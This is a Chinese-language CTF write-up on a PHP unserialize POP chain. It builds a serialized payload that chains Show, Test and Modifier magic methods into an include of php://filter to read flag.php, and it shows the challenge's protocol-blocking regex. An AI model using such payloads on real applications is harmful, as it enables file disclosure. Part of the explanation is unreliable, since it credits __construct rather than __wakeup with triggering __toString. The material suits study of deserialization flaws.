最近在学php的反序列化漏洞,遇到了比较有意思的一题
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
网页的代码是这样的
如果我们把modifiy对象的var改为php伪协议,然后成功调用invoke魔术方法就可以读出flag
调用invoke魔术方法需要将对象当做一个函数来使用,这样invoke方法就会自动调用
例如
$a=new modifier();
$a();
这样就会调用invoke,就能拿到flag
观察到后面的Test对象里面的get魔术方法调用了自身的p,并把p当做一个函数使用
所以我们只需要创建一个Test对象,并使Test对象内的p=new modifier()就可以输出flag
像这样
$a=new Test();
然后只要成功调用里面的get魔术方法就可以了
怎么调用get方法
当访问对象中一个不存在的属性,就会自动调用get方法
例如
$a=new Test();
$a->t //这里的t可以是Test对象中不存在的任何属性
这样就会调用get方法,拿到flag
怎么访问Test中不存在的属性呢
Show对象里有个Tostring魔术方法,会调用str的source
我们只需要让str=new Test()
这样调用Tostring方法就会变成
$str=new Test();
$str->source();
这样就能成功拼接上面的那些步骤
怎么调用Tostring()方法
当把对象当做一个字符串来使用时,就会自动调用Tostring方法
可以看到construct方法里有一个echo this->source,这会把this->source当做一个字符串来使用,所以我们只需要使this->source=new Show('aaaa')//这里的aaaa可以使任何字符串,是为了让Show的source被填充,不填应该也没事
然后this->source 被echo的时候就会自动调用 下一级Show()即this->source的的Tostring方法
所以只需要
$a = new Show();
$a->source=new Show('aaaa');
$a->source->str=new Test();
这样就会$a->source->str->source,即new Test()->的source,这样就会调用Test的get方法,进而成功拼接
最终脚本是这样的
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
$function = $this->p;
return $function();
}
}
$a = new Show();
$a->source=new Show('aaaa');
$a->source->str=new Test();
echo "this is:";
echo urlencode(serialize($a)); //这里urlencode是为了防止 protected 对象对结果造成影响。
得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22aaaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D